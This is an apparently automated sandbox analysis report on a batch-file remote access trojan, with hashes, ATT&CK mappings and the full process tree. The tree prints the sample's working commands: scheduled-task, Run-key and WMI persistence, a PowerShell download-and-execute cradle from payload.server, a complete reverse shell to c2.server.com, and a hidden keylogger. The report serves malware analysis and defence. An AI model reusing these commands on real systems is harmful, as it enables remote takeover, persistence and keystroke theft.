6fc3189931144befdf71076aad98cda77126f2b684185f1d53f1516c6b77d0ca

Analysis

max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:22

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General

Target
rat_build_54379_014219.bat
Size 4KB
Sample260529-2anw8aax8x
SHA256 6fc3189931144befdf71076aad98cda77126f2b684185f1d53f1516c6b77d0ca
MD5 c5687a45de8ad0359d4eeca124873169
SHA1 e06ed253d8534f2ae516258f5dc7b78a192bb702
SHA512 e66b55b602594a7071d9ff9c50fb5738221c341d76a03590c54ff1ef21dcaeb31ec3e7cd07a6dba7482c9c9c131a8cbb35c9fc02a68176e41c8b7327ae6170fa
SSDEEP 96:aIsh+vWb68V98v7oxTs6YbeRxVwgfUM8nUr0gnPUq9iFgZk8mvlo1C1Zf:anAOb6Y8cxw6HJxwWiFgkHlx1d
TLSH
T189B1E71367A7612059F05A08EE72340863ACEAF71315CA5DBB48CDC81A5CF03F528AF3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_54379.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2316	powershell.exe
4348	powershell.exe
1380	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_54379 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_54379.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4564	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
6100	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2736	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3372	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2316	powershell.exe
2316	powershell.exe
4348	powershell.exe
4348	powershell.exe
1380	powershell.exe
1380	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2712	WMIC.exe
Token: SeSecurityPrivilege	2712	WMIC.exe
Token: SeTakeOwnershipPrivilege	2712	WMIC.exe
Token: SeLoadDriverPrivilege	2712	WMIC.exe
Token: SeSystemProfilePrivilege	2712	WMIC.exe
Token: SeSystemtimePrivilege	2712	WMIC.exe
Token: SeProfSingleProcessPrivilege	2712	WMIC.exe
Token: SeIncBasePriorityPrivilege	2712	WMIC.exe
Token: SeCreatePagefilePrivilege	2712	WMIC.exe
Token: SeBackupPrivilege	2712	WMIC.exe
Token: SeRestorePrivilege	2712	WMIC.exe
Token: SeShutdownPrivilege	2712	WMIC.exe
Token: SeDebugPrivilege	2712	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2712	WMIC.exe
Token: SeRemoteShutdownPrivilege	2712	WMIC.exe
Token: SeUndockPrivilege	2712	WMIC.exe
Token: SeManageVolumePrivilege	2712	WMIC.exe
Token: 33	2712	WMIC.exe
Token: 34	2712	WMIC.exe
Token: 35	2712	WMIC.exe
Token: 36	2712	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2712	WMIC.exe
Token: SeSecurityPrivilege	2712	WMIC.exe
Token: SeTakeOwnershipPrivilege	2712	WMIC.exe
Token: SeLoadDriverPrivilege	2712	WMIC.exe
Token: SeSystemProfilePrivilege	2712	WMIC.exe
Token: SeSystemtimePrivilege	2712	WMIC.exe
Token: SeProfSingleProcessPrivilege	2712	WMIC.exe
Token: SeIncBasePriorityPrivilege	2712	WMIC.exe
Token: SeCreatePagefilePrivilege	2712	WMIC.exe
Token: SeBackupPrivilege	2712	WMIC.exe
Token: SeRestorePrivilege	2712	WMIC.exe
Token: SeShutdownPrivilege	2712	WMIC.exe
Token: SeDebugPrivilege	2712	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2712	WMIC.exe
Token: SeRemoteShutdownPrivilege	2712	WMIC.exe
Token: SeUndockPrivilege	2712	WMIC.exe
Token: SeManageVolumePrivilege	2712	WMIC.exe
Token: 33	2712	WMIC.exe
Token: 34	2712	WMIC.exe
Token: 35	2712	WMIC.exe
Token: 36	2712	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5396	WMIC.exe
Token: SeSecurityPrivilege	5396	WMIC.exe
Token: SeTakeOwnershipPrivilege	5396	WMIC.exe
Token: SeLoadDriverPrivilege	5396	WMIC.exe
Token: SeSystemProfilePrivilege	5396	WMIC.exe
Token: SeSystemtimePrivilege	5396	WMIC.exe
Token: SeProfSingleProcessPrivilege	5396	WMIC.exe
Token: SeIncBasePriorityPrivilege	5396	WMIC.exe
Token: SeCreatePagefilePrivilege	5396	WMIC.exe
Token: SeBackupPrivilege	5396	WMIC.exe
Token: SeRestorePrivilege	5396	WMIC.exe
Token: SeShutdownPrivilege	5396	WMIC.exe
Token: SeDebugPrivilege	5396	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5396	WMIC.exe
Token: SeRemoteShutdownPrivilege	5396	WMIC.exe
Token: SeUndockPrivilege	5396	WMIC.exe
Token: SeManageVolumePrivilege	5396	WMIC.exe
Token: 33	5396	WMIC.exe
Token: 34	5396	WMIC.exe
Token: 35	5396	WMIC.exe
Token: 36	5396	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5396	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 3372	4592	cmd.exe	80
PID 4592 wrote to memory of 2736	4592	cmd.exe	81
PID 4592 wrote to memory of 2712	4592	cmd.exe	82
PID 4592 wrote to memory of 5396	4592	cmd.exe	83
PID 4592 wrote to memory of 5096	4592	cmd.exe	84
PID 4592 wrote to memory of 6100	4592	cmd.exe	86
PID 4592 wrote to memory of 4564	4592	cmd.exe	89
PID 4592 wrote to memory of 2316	4592	cmd.exe	90
PID 4592 wrote to memory of 4348	4592	cmd.exe	91
PID 4592 wrote to memory of 1380	4592	cmd.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_54379_014219.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_54379" /tr "C:\Users\Admin\AppData\Local\Temp\_54379.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3372
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_54379" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_54379.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2736
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_54379", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2712
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_54379", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_54379.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5396
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_54379.txt
  2⤵
  PID:5096
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:6100
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_54379.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 c439a8860309d22efc4777e1e235db60b050e950888c7c57191df5fc3973534b
MD5 33e06e46cc090ed74060bf3cbbc07df6
SHA1 573622d3856a91ce81d1dfcd7ad3ad12da39cf38
SHA512 cd7eebce72015c333e1dc70c09f71a91e023994fae3ff087a8f7d538a045c5a7207ef944d36719a2d05910862d13416158e49dcc2a537ba398ce183bbae25076
TLSH
T1FB51CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9daefd85002ffc3e2911cbf515c54c2048f1a4b95c467613d8532e3eaa6b1bed
MD5 a13ed1be996d5f3fea7c6682de72fc79
SHA1 bacafcd63cac84490a258fc5c2826e2e3d5f88ab
SHA512 b3d52dac63294045740d81e4e2b255d6c7b95012f3ddf5c9d016687ed0a091d65e7596900902425910770f6eef7d392f46749e80ab6e2d5c5332a9c77134d3cd
TLSH
T1BD117A33B39CC134C8D9117A10CDAE01B2B4C3DB44AEDE8B7A84C508E57F48ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
SHA1 4b29742350c7851853767013e11d09fb954063ac
SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
TLSH
T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_okwffevu.v4n.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_okwffevu.v4n.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2316-9-0x000001EF6F7E0000-0x000001EF6F802000-memory.dmp

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